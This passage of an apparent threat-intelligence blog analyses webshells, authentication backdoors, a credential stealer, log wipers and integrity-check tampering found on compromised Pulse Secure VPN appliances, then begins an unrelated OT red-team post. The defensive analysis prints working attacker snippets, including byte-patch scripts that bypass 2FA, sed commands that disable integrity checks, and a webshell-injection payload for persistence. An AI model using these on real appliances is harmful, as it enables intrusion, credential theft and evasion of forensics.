its functionality. The malicious logic inserts a branch condition to respond to HTTP POST requests rather than just the typical GET requests expected of the legitimate code. If GET requests are performed the legitimate logic is still invoked. POST requests have a series of parameters checked for existence to determine which command to invoke. This logic is: POST params Invoked Command cert writefile img, name with nonempty value readfile img set to empty string “”, name execcmd anything else invoke original legitimate logic Figure 7: Webshells respond to POSTs All incoming and outgoing requests are base64 encoded/decoded and RC4 encrypted/decrypted. The scheme is simple. The first six characters of the data are a random key generated per request as a sort of nonce, with the static RC4 key appended. This nonce + phrase together act as the RC4 key. The phrase is not sent over the wire, only the nonce. This entire key is then used to encrypt/decrypt payload data that immediately follows the key. The form of data on the wire is: Outbound/Inbound: <6randbytes><encrypted_data> ^-RC4NONCE-^ Usage: <6randbytes><rc4_phrase><encrypted_data> ^——-RC4 KEY——–^ ReadFile This command accepts a base64 encoded, RC4 encrypted file name via the img parameter and opens it for read. The file contents are read in full then sent back to the attacker as base64 encoded, RC4 encrypted data with the headers “Content-type: application/x-download\n”, and form header “Content-Disposition: attachment; filename=tmp\n\n”. WriteFile This command accepts a base64 encoded, RC4 encrypted filename via the cert parameter, and base64 encoded, RC4 encrypted file data via the parameter md5. The filename is opened in write mode with the file data being written to the file before the file is closed. The results of this command are sent back to the attacker, using the headers “Cache-Control: no-cache\n” and “Content-type: text/html\n\n”. Execute This command accepts a base64 encoded, RC4 encrypted commands via the name parameter. The malicious logic forbids the cd command and will respond with the text Error 404 if executed. All other commands will be executed via the system API with output piped to the file /tmp/1. The full system command is <command> >/tmp/1 2>&1. The output of this execution is read and sent back to the attacker base64 encoded, RC4 encrypted. The headers “Cache-Control: no-cache\n” and “Content-type: image/gif\n\n” are used. The response appears to be masquerading as a GIF when sending back this command output. RADIALPULSE The file with the SHA256 hash d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b is a modified Perl script associated with a PulseSecure web-based tool which causes usernames, passwords and information associated with logins to this application to be written to the file /tmp/dsstartssh.statementcounters. Retrieval of these login credentials must be achieved through other means such as an interactive login or a webshell. Persistence is achieved by the addition of compromised code which is continually served when requesting this PulseSecure webpage. An excerpt of the code related to credential stealing is shown as follows: my$realmName1 = $signin->getRealmInfo()->{name}; open(*fd, “>>/tmp/dsstartssh.statementcounters”); syswrite(*fd, “realm=$realmName1 “, 5000);          syswrite(*fd, “username=$username “, 5000); syswrite(*fd, “password=$password\n”, 5000);  close(*fd); SLOWPULSE Variant 1 The file libdsplibs.so with SHA256 cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68 is a trojanized ELF shared object belonging to the PulseSecure VPN server. The sample has been modified to bypass specific authentication mechanisms of the LDAP and RADIUS protocols. The sample hardcodes a backdoor key that will silently subvert auth failures if the correct backdoor key is passed, establishing a VPN connection as if auth succeeded. If the backdoor password is not used, authentication will fail as normal. In multiple locations assembly is written into the padding regions between legitimate functions. As these regions are very small, around 20 bytes, the malicious logic stitches itself together by unconditionally jumping between multiple padding regions. The assembly is written in a way very similar to mid-function hooks, where it is common to push and then pop all flags and registers before and after the injected logic. By preserving registers and flags in this way the malicious logic is able to execute and perform its malicious logic as a passive observer if desired, only effecting the control flow in specific conditions. This is employed in two locations, the LDAP and RADIUS authentication routines, DSAuth::LDAPAuthServer::authenticate and DSAuth::RadiusAuthServer::checkUsernamePassword respectively. LDAP Auth Bypass In the typical execution of DSAuth::LDAPAuthServer::authenticate the legitimate application constructs the C++ object DSAuth::LDAPAuthServer::ldap then passes it to DSLdapServer::bind with the username and password for login. This bind may fail or succeed which determines the authentication failure or success of the LDAP protocol. The malicious logic inserted into the application redirects execution before DSLdapServer::bind just after the ldap object is constructed. At this point in execution the username and password are easily extracted from memory with mid-function hooking techniques, which the sample copies to a code cave in memory between two functions as a temporary storage location. The malicious logic then invokes DSLdapServer::bind as the normal logic would, which sets the return register EAX to 0 or 1 for failure or success. A check is then executed where the temporary password copy made earlier is checked against a hardcoded backdoor password. If this check passes the backdoor logic actives by overwriting EAX to 1 to force the application down the execution path of successful authentication, even though in reality authentication failed. RADIUS Two Factor Auth Bypass In the typical execution of DSAuth::RadiusAuthServer::checkUsernamePassword the legitimate application sends a RADIUS-2FA auth packet with username and password via RadiusAuthPacket::sendRadiusPacket. The response is then retrieved and parsed by the routine DSAuth::RadiusAuthServer::handleResponse. After packet retrieval the packet type is verified to be 3, it’s not known what this packet type specifies but this is the packet type of a successful authentication response. If the packet type check passes, then the sample reads a field of the packet that specifies if authentication was successful or not and then checks this status later. The inserted malicious logic hijacks execution just after DSAuth::RadiusAuthServer::handleResponse where the password sent to the RADIUS server is checked against a backdoor password. If this check passes the malicious logic overwrites the retrieved packet with values indicating that it’s of type 3 and that authentication was successful. The malicious logic then rejoins the original execution flow where the packet type is checked. If written the spoofed values force the application down the execution path of successful authentication, even though in reality authentication failed. SLOWPULSE Variant 2 ACE Two Factor Auth Credential Logging We also identified a variant of SLOWPULSE (SHA256: 1ab50b77dd9515f6cd9ed07d1d3176ba4627a292dc4a21b16ac9d211353818bd) which logs credentials used during ACE-2FA protocol authentication. The backdoor is implemented in the routine DSAuth::AceAuthServer::checkUsernamePassword. As part of the login procedure the username and password are retrieved then written into a map entry structure. The backdoor inserts an unconditional jump into the logon logic that takes this map entry structure, reads the username and password fields, then writes them to the file /home/perl/PAUS.pm in a+ (append) mode, using the format string %s:%s\n. The backdoor then unconditionally jumps back into the normal control flow to continue the logon process as normal. SLOWPULSE Variant 3 ACE Two Factor Auth Bypass We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed. SLOWPULSE Variant 4 RealmSignin Two Factor Auth Bypass We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover. SLOWPULSE Variant 2 Patcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded. SLOWPULSE Variant 3 Patcher  As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded. SLOWPULSE Variant 4 Patcher As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original libdsplibs.so file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is: printf ‘\xB8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf ‘\x01’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf ‘\x00’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35)) SLOWPULSE Variant 4 UnPatcher As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original libdsplibs.so file for SLOWPULSE V4. The attacker chose to remove the patches applied to libdsplibs.so. The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is: printf ‘\xE8’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B31)) printf ‘\xE2’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B32)) printf ‘\x08’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B33)) printf ‘\xD0’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B34)) printf ‘\xFF’ | dd conv=notrunc of=/home/lib/libdsplibs.so bs=1 count=1 seek=$((0x5C7B35)) STEADYPULSE The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution. The attacker inserted two blocks of Perl code that implement the webshell. The source code modifications are surrounded by comments that indicate the start and end of inserted code. The comment strings used are ##cgistart1, ##cgiend1, ##cgistart2 and ##cgiend2. Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary. The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell. It also adds a function to parse parameters of received command data. The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present. If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage. The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key. This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable. Individual key/value pairs delimited by the & character and are URL decoded. Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter. If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run. Upon submission, the webshell will execute the passed command on the victim host’s command line and display the results to the attacker before exiting. If no cmd value was extracted, the webshell will simply output a </pre> HTML tag. PULSECHECK The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1) is a webshell written in Perl that enables arbitrary command execution. With a properly formatted request, the script will execute webshell code. Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked. The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY. If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD. This data is RC4 encrypted and base64-encoded. The passphrase to decrypt is sent in the environment variable HTTP_X_CNT. The webshell will set the content type to Content-type:text/html and the command output printed. Following this, the script exits. QUIETPULSE The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper. The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script. QUIETPULSE Utility Script The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands. Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade. This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence. The script is set to execute in a loop where four main checks are executed every two minutes. The checks are as follows: Check 1 If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute: grep -c -s ‘system($depara)’ /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing: sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then copy a file via: cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Then replace the copy’s first line with the one retrieved from the sed above via: sed -i 1c”<varies>” /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi Check 2 If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via: cp -p /home/bin/dshelper /tmp/data/root/home/bin/ Check 3 If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec(“/home/bin/dshelper”): grep -c -s ‘exec(“/home/bin/dshelper”)’ /tmp/data/root/home/bin/dsserver If it doesn’t then execute to insert the line: sed -i ‘s/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\”\/home\/bin\/dshelper\”);\n}\n&/g’ /tmp/data/root/home/bin/dsserver Check 4 If the file /tmp/data/root/home/bin/check_integrity.sh exists and is non-empty, then check if the file contains the string exit 1 by executing: grep -c -s ‘exit 1’ /tmp/data/root/home/bin/check_integrity.sh If the file does contain this content, then execute the following to switch the content to exit 0: sed -i ‘s/exit 1/exit 0/g’ /tmp/data/root/home/bin/check_integrity.sh PULSEJUMP The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode. The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration. HARDPULSE The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function. The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it’s non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation. If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it’s matched against get and put which will read/write arbitrary files to the host, respectively. ATRIUM The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked. Persistence Patcher The file DSUpgrade.pm (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose DSUpgade.pm to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates. my $cmd_x=”sed -i ‘/echo_console \”Saving package\”/i( sed -i \\\’/main();\\\$/cif(CGI::param(\\\\\”id\\\\\”)){         print \\\\\”Cache-Control: no-cache\\\\\\\\n\\\\\”;         print \\\\\”Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\”;         my \\\\\$na=CGI::param(\\\\\”id\\\\\”); system(\\\\\”\\\\\$na\\\”);     } else{         &main();     }\\\’ /tmp/data/root$cgi_p; cp -f /home/perl/DSUpgrade.pm /tmp/data/root/home/perl; cp -f /pkg/dspkginstall /tmp/data/root/pkg/; )’/pkg/do-install”; The patcher also performs additional shell commands for unpacking a compressed package: system(“/bin/mount -o remount,rw /dev/root /”); system(“/bin/tar”, “-xzf”, “/tmp/new-pack.tgz”, “-C”, “/tmp”,”./installer”); system(“cp -f /tmp/installer/do-install /pkg/”); system(“cp -f /tmp/installer/VERSION /pkg/”); system(“cp -f /tmp/installer/sysboot-shlib /pkg/”); system(“cp -f /tmp/installer/losetup /pkg/”); PACEMAKER The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information: Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)] The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc/<process_name>/cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application’s proc/<target_pid>/mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -<number>. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number. Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of ‘flags’ in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are: USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00 USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00 PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00 PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00 AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00 AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00 If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is: Name:<username> || Pwd:<password> || AuthNum:<authnumber>\n The sample replaces the following URL encoded values with their ascii representation for the password: &amp; -> & &lt; -> < &gt; -> > PACEMAKER Launcher Utility As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time. #!/bin/bash /home/bin/memread -t$1 -m 16 -s 2 & THINBLOOD Log Wiper Utility The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information: Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,…] The –f flag specifies if the file log.events.vc0 or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate: mv /home/runtime/logs/log.<logtype>.vc2 /home/runtime/logs/log.<logtype>.vc0 rm /home/runtime/logs/log.<logtype>.vc1 THINBLOOD LogWiper Utility Variant The file clear_log.sh (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are: sed -i “s/.\x00[^\x00]*<regex_string>[^\x00]*\x09.\x00//g” /data/runtime/logs/<logfile> sed -i “s/\x<hex_char>\x00[^\x00]*2[^\x00]*\x09\x<hex_char>\x00//g” /data/runtime/logs/<logfile> The sample embeds the usage information: usage: /home/bin/bash clear_log.sh [logfile] [keyword(regex)] LOCKPICK The file libcrypto.so (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases. LOCKPICK Patcher The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i ’12aexit 0′ /home/bin/check_integrity.sh which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines. Detecting the Techniques The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device. Platform(s) Detection Name Network Security Email Security Detection On Demand Malware File Scanning Malware File Storage Scanning FE_APT_Webshell_PL_HARDPULSE_1 FEC_APT_Webshell_PL_HARDPULSE_1 APT.Webshell.PL.HARDPULSE FE_APT_Trojan_PL_PULSEJUMP_1 FEC_APT_Trojan_PL_PULSEJUMP_1 FE_Trojan_PL_Generic_1 FE_APT_Trojan_PL_RADIALPULSE_1 FEC_APT_Trojan_PL_RADIALPULSE_1 FE_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_3 FEC_APT_Trojan_PL_RADIALPULSE_2 FE_APT_Trojan_PL_RADIALPULSE_4 FEC_APT_Trojan_PL_RADIALPULSE_3 FE_APT_Trojan_PL_RADIALPULSE_5 FE_APT_Tool_SH_RADIALPULSE_1 FEC_APT_Tool_SH_RADIALPULSE_1 FE_APT_Trojan_Linux32_PACEMAKER_1 FE_APT_Trojan_Linux_PACEMAKER_1 FE_APT_Backdoor_Linux32_SLOWPULSE_1 FE_APT_Backdoor_Linux32_SLOWPULSE_2 FE_APT_Trojan_Linux32_SLOWPULSE_1 FE_APT_Tool_Linux32_SLOWPULSE_1 FE_APT_Webshell_PL_STEADYPULSE_1 FEC_APT_Webshell_PL_STEADYPULSE_1 APT.Webshell.PL.STEADYPULSE FE_APT_Trojan_Linux32_LOCKPICK_1 FE_Webshell_PL_ATRIUM_1 FEC_Webshell_PL_ATRIUM_1 FE_Trojan_SH_ATRIUM_1 FE_APT_Webshell_PL_SLIGHTPULSE_1 FEC_APT_Webshell_PL_SLIGHTPULSE_1 APT.Webshell.PL.SLIGHTPULSE FE_APT_Webshell_PL_PULSECHECK_1 FEC_APT_Webshell_PL_PULSECHECK_1 FE_APT_Tool_Linux32_THINBLOOD_1 FE_APT_Tool_Linux_THINBLOOD_1 FE_APT_Tool_SH_THINBLOOD_1 FEC_APT_Tool_SH_THINBLOOD_1 APT.Tool.Linux.THINBLOOD.MVX FE_APT_Trojan_PL_QUIETPULSE_1 FEC_APT_Trojan_PL_QUIETPULSE_1 FE_Trojan_SH_Generic_2 FEC_Trojan_SH_Generic_3 Suspicious Pulse Secure HTTP request (IPS) Endpoint Security Real-Time (IOC) SLOWPULSE (BACKDOOR) PACEMAKER (LAUNCHER) THINBLOOD (UTILITY) Helix VPN ANALYTICS [Abnormal Logon] EXPLOIT – SONICWALL ES [CVE-2021-20021 Attempt] EXPLOIT – SONICWALL ES [CVE-2021-20021 Success] EXPLOIT – SONICWALL ES [CVE-2021-20023 Attempt] EXPLOIT – SONICWALL ES [CVE-2021-20023 Success] Mandiant Security Validation Actions Organizations can validate their security controls using the following actions with Mandiant Security Validation. VID Title A101-596 Malicious File Transfer – SLOWPULSE, Download, Variant #1 A101-597 Malicious File Transfer – SLOWPULSE, Download, Variant #2 A101-598 Malicious File Transfer – SLOWPULSE, Download, Variant #3 A101-599 Malicious File Transfer – SLOWPULSE, Download, Variant #4 A101-600 Malicious File Transfer – SLOWPULSE, Download, Variant #5 A101-601 Malicious File Transfer – SLOWPULSE, Download, Variant #6 A101-602 Malicious File Transfer – SLOWPULSE, Download, Variant #7 A101-604 Malicious File Transfer – Pulse Secure Vulnerability, Utility, Download, Variant #1 A101-605 Malicious File Transfer – RADIALPULSE, Download, Variant #1 A101-606 Malicious File Transfer – PULSEJUMP, Download, Variant #1 A101-607 Malicious File Transfer – HARDPULSE, Download, Variant #1 A101-608 Malicious File Transfer – SLIGHTPULSE, Download, Variant #1 A101-609 Malicious File Transfer – LOCKPICK, Patcher, Download, Variant #1 A101-610 Malicious File Transfer – LOCKPICK, Download, Variant #1 A101-611 Malicious File Transfer – ATRIUM, Patcher, Download, Variant #1 A101-612 Malicious File Transfer – PACEMAKER, Launcher, Download, Variant #1 A101-613 Malicious File Transfer – PACEMAKER, Download, Variant #1 A101-614 Malicious File Transfer – QUIETPULSE Utility, Download, Variant #1 A101-615 Malicious File Transfer – QUIETPULSE, Download, Variant #1 A101-616 Malicious File Transfer – STEADYPULSE, Download, Variant #2 A101-617 Malicious File Transfer – STEADYPULSE, Download, Variant #1 A101-618 Malicious File Transfer – ATRIUM, Download, Variant #1 A101-619 Malicious File Transfer – THINBLOOD, Download, Variant #1 A101-620 Malicious File Transfer – THINBLOOD, Download, Variant #2 A101-621 Malicious File Transfer – PULSECHECK, Download, Variant #1 A101-622 Malicious File Transfer – PULSECHECK, Download, Variant #2 A104-757 Host CLI – QUIETPULSE Utility, Check, Variant #1 A104-758 Host CLI – QUIETPULSE Utility, Check, Variant #2 A104-759 Host CLI – QUIETPULSE Utility, Check, Variant #3 A104-760 Host CLI – QUIETPULSE Utility, Check, Variant #4 Acknowledgements Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content. • Hacking Operational Technology for Defense: Lessons Learned From OT Red Teaming Smart Meter Control Infrastructure by Shishir Gupta on April 13, 2021 at 3:00 pm High-profile security incidents in the past decade have brought increased scrutiny to cyber security for operational technology (OT). However, there is a continued perception across critical infrastructure organizations that OT networks are isolated from public networks—such as the Internet. In Mandiant’s experience, the concept of an ‘air gap’ separating OT assets from external networks rarely holds true in practice. In 2018, we released a blog post presenting the tools and techniques that TEMP.Veles used during the TRITON incident to traverse from an external compromise of the information technology (IT) network of a critical infrastructure organization to the safety systems located deep in the OT network. We regularly reproduce this approach in our OT-focused red team engagements to expose similar attack paths across client infrastructure and to identify environment specific opportunities to prevent and detect network propagation techniques across intermediary systems. In this blog post, we share another case study from one of our OT Red Team engagements to illustrate the tactics, techniques, and procedures (TTPs) that can be leveraged by sophisticated threat actors to breach the protected perimeter between an IT network and an OT network. We also examine some of the different types of critical information often found in IT networks that an attacker can leverage during later stages of the Targeted Attack Lifecycle. The goal of this engagement was to access an endpoint meter control infrastructure for a state-wide smart grid environment from the Internet and turn it off. To hear our experts relay more on this and other OT Red Team lessons learned, join our FireEye Mandiant Virtual Summit session. Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence. Building the Foundation: Information Gathering for IT-OT Network Propagation Targeted OT attacks attempting to cause physical impacts require planning. A sophisticated actor who is motivated to disrupt or modify an industrial process from a public network will necessarily need to maintain access to the victim environment and remain undetected for enough time to accomplish their objective. Throughout this time, the actor will strive to learn about the control process to formulate the attack, figure out how to pivot to the OT systems and bypass security controls, and sometimes even develop or deploy custom OT malware. Similar to the techniques used by TEMP.Veles to reach the OT network during the TRITON incident, Mandiant’s experience during red team engagements highlights that collecting information from IT network assets plays a crucial role in targeted OT attacks. As a result, the internal reconnaissance phase for OT targeted attacks begins in the enterprise network, where the actor obtains knowledge and resources to propagate from an initial compromise in the IT network to remote access in the OT network. Detailed information collected about the target, their security operations, and their environment can also support an actor’s attempts at remaining undetected while expanding operations. Figure 1: Targeted OT attack from a public network Thinking Like an Adversary: How to Turn Off Smart Energy Meters The ideal 